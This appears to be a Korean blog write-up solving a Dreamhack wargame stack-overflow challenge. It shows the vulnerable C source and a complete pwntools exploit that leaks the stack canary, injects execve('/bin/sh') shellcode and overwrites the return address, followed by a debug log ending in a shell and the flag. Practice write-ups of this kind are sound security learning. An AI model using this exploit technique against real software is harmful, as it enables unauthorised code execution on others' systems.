콘텐츠로 건너뛰기

Return to Shellcode

Description

Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.


문제 파일을 받아보면 r2s, r2s.c 파일들이 존재한다.

r2s.c 소스코드 내용은 다음과 같았다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

Canary는 버퍼와 SFP 사이에 임의의 데이터를 삽입하여 버퍼 오버플로우를 방지하는데,
read 함수에서 카나리의 첫 바이트인 null byte를 덮어쓰면 카나리 값을 누출시킬 수 있다.
그리고 이제 다시 버퍼 오버플로우 취약점으로 Return Address를 buf 주소로 Overwrite 하면 풀 수 있을 것 같다.

프로그램을 실행시켜보면 Distance between buf and $rbp: 96 메시지가 출력되는데
80 바이트의 buf와 8바이트의 스택 카나리 사이에 8바이트의 더미 공간을 차지한다는 것을 알 수 있었다.

따라서 스택을 그림으로 나타내면 아래와 같다.

페이로드를 작성하면 아래와 같다.
(buf에 채울 88바이트의 shellcode와 더미 데이터) + (8바이트 Canary) + (8바이트 더미데이터) + (8바이트 buf 포인터 주소)

from pwn import *

context.log_level = 'debug'

p = remote('host3.dreamhack.games', 20006)
context(arch='amd64',os='linux')

buf_address = p.recvline().decode('utf-8').split("buf: ")[1].strip();
buf_address = int(buf_address, 16);

payload = b"\x41"*89

p.recvuntil('Input: ');
p.send(payload);
canary = p.recvline().split(b"'")[1]
canary = b"\x00" + canary.split(payload)[1][:7]
canary = u64(canary)

shellcode = asm(shellcraft.sh())
payload = shellcode + b"A"* (88-len(shellcode)) + p64(canary) + b"A"*8 + p64(buf_address)
p.sendlineafter('Input: ', payload);
p.interactive()
ubuntu@wh1te4ever-main:~/Desktop/r2s$ python3 attack2.py
[+] Opening connection to host3.dreamhack.games on port 20006: Done
[DEBUG] Received 0x23 bytes:
    b'Address of the buf: 0x7fffcd861de0\n'
[DEBUG] Received 0x3d bytes:
    b'Distance between buf and $rbp: 96\n'
    b'[1] Leak the canary\n'
    b'Input: '
[DEBUG] Sent 0x59 bytes:
    b'A' * 0x59
[DEBUG] Received 0x77 bytes:
    00000000  59 6f 75 72  20 69 6e 70  75 74 20 69  73 20 27 41  │Your│ inp│ut i│s 'A│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  41 41 41 41  33 a2 fe 5c  f3 1a a2 e0  │AAAA│AAAA│3··\│····│
    00000070  e9 ca 89 3f  56 27 0a                               │···?│V'·│
    00000077
[DEBUG] cpp -C -nostdinc -undef -P -I/home/ubuntu/.local/lib/python3.10/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-ki0zjgti/step2 /tmp/pwn-asm-ki0zjgti/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-ki0zjgti/step3 /tmp/pwn-asm-ki0zjgti/step4
[DEBUG] Received 0x28 bytes:
    b'[2] Overwrite the return address\n'
    b'Input: '
[DEBUG] Sent 0x71 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  68 72 69 01  01 81 34 24  01 01 01 01  31 f6 56 6a  │hri·│··4$│····│1·Vj│
    00000020  08 5e 48 01  e6 56 48 89  e6 31 d2 6a  3b 58 0f 05  │·^H·│·VH·│·1·j│;X··│
    00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000050  41 41 41 41  41 41 41 41  00 33 a2 fe  5c f3 1a a2  │AAAA│AAAA│·3··│\···│
    00000060  41 41 41 41  41 41 41 41  e0 1d 86 cd  ff 7f 00 00  │AAAA│AAAA│····│····│
    00000070  0a                                                  │·│
    00000071
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x9 bytes:
    b'flag\n'
    b'r2s\n'
flag
r2s
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x25 bytes:
    b'DH{333eb89c9d2615dd8942ece08c1d34d5}\n'
DH{333eb89c9d2615dd8942ece08c1d34d5}
태그:

답글 남기기